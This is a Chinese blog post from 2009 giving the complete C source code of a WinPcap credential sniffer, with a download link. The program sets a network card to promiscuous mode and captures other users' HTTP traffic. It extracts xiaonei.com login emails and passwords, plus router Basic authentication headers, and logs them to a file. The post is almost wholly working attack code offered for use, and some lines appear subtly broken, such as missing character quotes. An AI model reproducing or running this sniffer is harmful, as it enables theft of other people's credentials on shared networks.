当前位置: 主页 > 日志 > 原创程序 >

[WinPcap]ADSL路由器,校内网密码嗅探器

原理很简单,就是数据包嗅探(使用Winpcap开发包),协议分析。
效果图如下:



代码如下:

//ADSL路由器密码+校内网(http://www.xiaonei.com)密码嗅探器
//E-mail:redice@see.xidian.edu.cn
//http://redice.1.suhai.com.cn
#include <pcap.h>
#include "remote-ext.h"
#define WPCAP
#define HAVE_REMOTE
#pragma comment(lib,"wpcap")
#pragma comment(lib,"ws2_32")

int k=1;
char LogFile[200];//日志文件路径
/*物理帧头结构*/
typedef struct {
   BYTE  DesMAC[6];//目的MAC地址
   BYTE  SrcMAC[6];//源MAC地址
   USHORT  Ethertype;//帧类型
}DLC_Header;
BYTE tcp_body[1024];//Tcp数据部分        
//IP报头结构
typedef struct {
    BYTE  h_len:4;    //首部长度指的是IP层头部占32 bit字的数目
                      //(也就是IP层头部包含多少个4字节,实际字节数4*hlen),
    BYTE  version:4; //IP版本号
    BYTE  tos;      //服务类型TOS
    USHORT total_len; //IP包总长度  
    USHORT ident;     //标识
    USHORT frag_and_flags;  //标志位
    BYTE ttl;      //生存时间
    BYTE proto;    //协议
    USHORT checksum; //IP首部校验和
    BYTE  sourceIP[4]; //源IP地址(32位)
    BYTE  destIP[4];  //目的IP地址(32位)
}IpHeader;
//TCP头
typedef struct _TCP{ 
    USHORT SrcPort; // 源端口
    USHORT DstPort; // 目的端口
    UINT SeqNum; // 顺序号
    UINT AckNum; // 确认号
    BYTE DataOff; // TCP头长
    BYTE Flags; // 标志(URG、ACK等)
    USHORT Window; // 窗口大小
    USHORT Chksum; // 校验和
    USHORT UrgPtr; // 紧急指针
}TcpHeader;
void PutBytesIntoLog(char *,char *);
void packet_handler(u_char *, const struct pcap_pkthdr *, const u_char *);
void main()
{
    pcap_t *fp;
    char errbuf[PCAP_ERRBUF_SIZE];
    char packet_filter[] = "";
    pcap_if_t *alldevs;
    pcap_if_t *d;
    UINT netmask;
    struct bpf_program fcode;
    int i=0;
    BYTE choise; 
    memset(LogFile,0,200);
    if(!GetCurrentDirectory(200,LogFile))
    {
        printf("获取程序当前目录失败! ");
        return;
    }
    if(LogFile[strlen(LogFile)-1]!=\)//如果程序当前路径最后一个字符不是则加之
    {
        LogFile[strlen(LogFile)]=\;
    }
    strcat(LogFile,"Pass.log");//产生日志文件路径(含名称)
    /* 获取本地机器设备列表 */
    if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL /* auth is not needed */, &alldevs, errbuf) == -1)
    {
        fprintf(stderr,"获取网卡设备列表出错: %s ", errbuf);
        return;
    }

    //列出网卡设备信息
    for(d=alldevs,i=0; d!=NULL;    i++,d=d->next)
    { 
        printf("网卡%d :%s (描述:%s) ",i+1,d->name,d->description);
    }
    if(0==i)//没有网卡
    {
        printf("未找到网卡设备! ");
        pcap_freealldevs(alldevs);
    }
    else if(1==i)//仅有一块网卡
    {
        printf("本机仅有一块网卡设备,程序将使用该网卡! ");
        d=alldevs;
    }
    else//有多块网卡
    {    
        printf("本机有%d块网卡设备,请指定本程序要使用的网卡设备编号:",i);        
label:    
        choise=(char)getchar()-0; //取得用户选择的网卡编号
        if(choise<0||choise>i)
        {
            printf(" 错误的网卡编号,请重新选择: ");
            goto label;
        }
        for(d=alldevs,i=1; i<choise;i++,d=d->next);
    }

     /* 打开输出设备 */
    if ( (fp= pcap_open(d->name,            // 设备名
                        65536,                // 要捕获的部分
                        PCAP_OPENFLAG_PROMISCUOUS,  // 混杂模式
                        1000,               // 读超时时间
                        NULL,               // 远程机器验证
                        errbuf              // 错误缓冲
                        ) ) == NULL)
    {
        printf(" 不能打开该网卡. %s 不被WinPacp驱动所支持! ", d->name);
        pcap_freealldevs(alldevs);
        return;
    }

    /* 检查数据链路层,为了简单,我们只考虑以太网 */
    if(pcap_datalink(fp) != DLT_EN10MB)
    {
        fprintf(stderr," 这个程序仅能工作于局域网. ");
        /* 释放设备列表 */
        pcap_freealldevs(alldevs);
        return;
    }
    
    if(d->addresses!=NULL)
        /* 获得接口第一个地址的掩码 */
        netmask=((struct sockaddr_in *)(d->addresses->netmask))->sin_addr.S_un.S_addr;
    else
        /* 如果接口没有地址,那么我们假设一个C类的掩码 */
        netmask=0xffffff; 


    //编译过滤器
    if (pcap_compile(fp, &fcode, packet_filter, 1, netmask) <0 )
    {
        fprintf(stderr," Unable to compile the packet filter. Check the syntax. ");
        /* 释放设备列表 */
        pcap_freealldevs(alldevs);
        return;
    }   

    //设置过滤器
    if (pcap_setfilter(fp, &fcode)<0)
    {
        fprintf(stderr," Error setting the filter. ");
        /* 释放设备列表 */
        pcap_freealldevs(alldevs);
        return;
    }

    /* 不再需要设备列表了,释放它 */
    pcap_freealldevs(alldevs);
    printf(" 正在监听网卡%d... ",choise);
    /* 开始捕捉 */
    pcap_loop(fp, 0, packet_handler, NULL);
    return;
}

/* 回调函数,当收到每一个数据包时会被libpcap所调用 */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
    int i=0;
    BYTE cr[5];//双汇车换行,用以从HTTP报文中截取有用的数据
    DLC_Header *dlcheader;//物理帧
    IpHeader *ipheader;//IP头
    TcpHeader *tcpheader;//Tcp头
    USHORT ip_len;//IP头的长度
    BYTE tcp_body[6000];//Tcp包
    BYTE userpass[100];//密码
    UINT userpasslen;
    UINT tcp_body_len;//Tcp包的长度
    BYTE ip[50];//IP地址
    dlcheader=(DLC_Header *)pkt_data;
    if(0x0800!=ntohs(dlcheader->Ethertype)) return; //如果不是IP包则返回
    ipheader=(IpHeader *)(pkt_data+14);//Ip头
    cr[0]=0x0D;
    cr[1]=0x0A;
    cr[2]=0x0D;
    cr[3]=0x0A;
    cr[4]=0x00;
    memset(ip,0,50);
    sprintf(ip,"IP From->To:%d.%d.%d.%d->%d.%d.%d.%d ",
            ipheader->sourceIP[0],
            ipheader->sourceIP[1],
            ipheader->sourceIP[2],
            ipheader->sourceIP[3],
            ipheader->destIP[0],
            ipheader->destIP[1],
            ipheader->destIP[2],                        
            ipheader->destIP[3]
            );
    printf(" *%d* %s",k++,ip);
    if(0x06!=ipheader->proto) return;//如果不是TCP包则返回
    ip_len=(ipheader->h_len & 0xf)*4;
    tcpheader=(TcpHeader *)((char *)ipheader+ip_len);
    memset(tcp_body,0,6000);
    tcp_body_len=ntohs(ipheader->total_len)-ip_len;//TCP包的长度=IP包的长度-IP头的长度
    if(ntohs(tcpheader->DstPort)==0x0050)  //如果是http(80端口)包
    {
        memcpy(tcp_body,(void *)((char *)tcpheader+20),tcp_body_len-20);
        //经过一下四重判断,足以肯定该数据包中含有校内网用户登录名和密码
        if(strstr(tcp_body,"xiaonei.com"))//如果包中有"xiaonei.com"字段则继续
        {
            //printf(" 完整的数据包 %s",tcp_body);
            if(strstr(tcp_body,cr))//如果包中有分隔符(双回车换行)则继续
            {
                //printf(" 完整的数据包 %s",strstr(tcp_body,cr));
                if(strstr(strstr(tcp_body,cr),"email="))//分隔符后有"email="字段则继续
                {
                    if(strstr(strstr(tcp_body,cr),"password="))//如果分隔符后有"password="字段则继续
                    {
                        printf(" *%d* %s",k++,ip);
                        memset(userpass,0,100);
                        //计算用户名和密码字段总长度(报文格式:0x0d0x0a0x0d0x0aemail=***&password=***&orig)
                        userpasslen=strlen(strstr(tcp_body,cr))-strlen(strstr(tcp_body,"&orig")-4);
                        memcpy(userpass,(void*)(strstr(tcp_body,cr)+4),userpasslen);
                        printf("发现密码: %s ",userpass);
                        //将用户名密码写入文件
                        PutBytesIntoLog(ip,LogFile);//写入IP地址
                        PutBytesIntoLog(userpass,LogFile);
                        PutBytesIntoLog(cr,LogFile);//写入换行符
                    }
                }
            }
        }
        //如果包中含有该字段则可以推断这是含有路由器认证的数据包
        if(strstr(tcp_body,"Authorization: Basic"))
        {
            printf(" *%d* %s",k++,ip);
            memset(userpass,0,100);
            userpasslen=strlen(strstr(tcp_body,"Authorization: Basic"))-strlen(strstr(tcp_body,cr));
            memcpy(userpass,strstr(tcp_body,"Authorization: Basic"),userpasslen);
            printf("发现路由器帐号密码: %s ",userpass);
            PutBytesIntoLog(ip,LogFile);//写入IP地址
            PutBytesIntoLog(userpass,LogFile);
            PutBytesIntoLog(cr,LogFile);//写入换行符        
        }
        //对其它数据包的处理
    }
    //如果是SMTP(25端口)或者POP3(110端口)则进行如下处理
    else if(ntohs(tcpheader->DstPort)==0x0019||ntohs(tcpheader->DstPort)==0x006E)
    {
    //对其它数据包的处理
        printf("这是一个pop3或者smtp数据包! %s ",ip);
    }
    return;
    
}
void PutBytesIntoLog (char *buf,char *filename)
{
    FILE *fileopr;
    if((fileopr=fopen(filename,"a"))==NULL)
    {
        printf(" 打开日志出错! ");
    }
    fwrite(buf,sizeof(char),strlen(buf),fileopr);
    fclose(fileopr);
}


附源代码:

File: Click to Download

[日志信息]

该日志于 2009-02-26 13:06 由 redice 发表在 redice's Blog ,你除了可以发表评论外,还可以转载 “[WinPcap]ADSL路由器,校内网密码嗅探器” 日志到你的网站或博客,但是请保留源地址及作者信息,谢谢!!    (尊重他人劳动,你我共同努力)
   
验证(必填):   点击我更换验证码

redice's Blog  is powered by DedeCms |  Theme by Monkeii.Lee |  网站地图 |  本服务器由西安鲲之鹏网络信息技术有限公司友情提供

返回顶部